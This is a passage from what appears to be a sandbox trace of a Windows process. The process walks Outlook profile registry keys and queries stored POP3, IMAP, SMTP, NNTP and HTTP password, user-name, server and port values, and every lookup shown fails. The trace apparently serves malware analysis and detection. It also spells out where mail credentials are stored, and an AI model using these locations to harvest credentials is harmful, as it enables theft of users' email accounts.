lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.299] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.299] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.299] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.299] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.299] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.299] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.299] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.300] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.300] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.300] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.300] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.300] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.300] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.300] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.300] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.311] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\48dea081c9634a43a6861907855add5c", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.311] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.311] RegCloseKey (hKey=0x71c) returned 0x0 [0096.311] LocalFree (hMem=0x28e7670) returned 0x0 [0096.311] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x8, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="55aad8d134512d438564aa678cb92d66", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.311] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.311] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.311] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66") returned 88 [0096.311] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.311] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.311] RegCloseKey (hKey=0x71c) returned 0x0 [0096.311] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.311] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.312] RegCloseKey (hKey=0x71c) returned 0x0 [0096.312] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.312] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.312] RegCloseKey (hKey=0x71c) returned 0x0 [0096.312] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.312] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.312] RegCloseKey (hKey=0x71c) returned 0x0 [0096.312] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.312] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.312] RegCloseKey (hKey=0x71c) returned 0x0 [0096.312] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.312] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.312] RegCloseKey (hKey=0x71c) returned 0x0 [0096.312] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.312] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.312] RegCloseKey (hKey=0x71c) returned 0x0 [0096.312] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.313] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.313] RegCloseKey (hKey=0x71c) returned 0x0 [0096.313] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.313] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.313] RegCloseKey (hKey=0x71c) returned 0x0 [0096.313] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.313] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.313] RegCloseKey (hKey=0x71c) returned 0x0 [0096.313] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.313] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.313] RegCloseKey (hKey=0x71c) returned 0x0 [0096.313] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.313] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.313] RegCloseKey (hKey=0x71c) returned 0x0 [0096.313] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.313] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.313] RegCloseKey (hKey=0x71c) returned 0x0 [0096.313] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.314] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.314] RegCloseKey (hKey=0x71c) returned 0x0 [0096.314] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.314] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.314] RegCloseKey (hKey=0x71c) returned 0x0 [0096.314] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.314] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.314] RegCloseKey (hKey=0x71c) returned 0x0 [0096.314] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.314] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.314] RegCloseKey (hKey=0x71c) returned 0x0 [0096.314] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.314] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.314] RegCloseKey (hKey=0x71c) returned 0x0 [0096.314] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.314] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.314] RegCloseKey (hKey=0x71c) returned 0x0 [0096.314] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.315] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.315] RegCloseKey (hKey=0x71c) returned 0x0 [0096.315] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.315] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.315] RegCloseKey (hKey=0x71c) returned 0x0 [0096.315] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.315] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.315] RegCloseKey (hKey=0x71c) returned 0x0 [0096.315] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.315] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.315] RegCloseKey (hKey=0x71c) returned 0x0 [0096.315] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.315] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.315] RegCloseKey (hKey=0x71c) returned 0x0 [0096.315] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.315] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.315] RegCloseKey (hKey=0x71c) returned 0x0 [0096.316] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.316] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.316] RegCloseKey (hKey=0x71c) returned 0x0 [0096.316] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.316] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.316] RegCloseKey (hKey=0x71c) returned 0x0 [0096.316] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.316] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.316] RegCloseKey (hKey=0x71c) returned 0x0 [0096.316] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.316] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.316] RegCloseKey (hKey=0x71c) returned 0x0 [0096.316] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.316] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.316] RegCloseKey (hKey=0x71c) returned 0x0 [0096.316] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.317] RegCloseKey (hKey=0x71c) returned 0x0 [0096.317] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.317] RegCloseKey (hKey=0x71c) returned 0x0 [0096.317] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.317] RegCloseKey (hKey=0x71c) returned 0x0 [0096.317] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.317] RegCloseKey (hKey=0x71c) returned 0x0 [0096.317] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.317] RegCloseKey (hKey=0x71c) returned 0x0 [0096.317] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.317] RegCloseKey (hKey=0x71c) returned 0x0 [0096.317] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.317] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 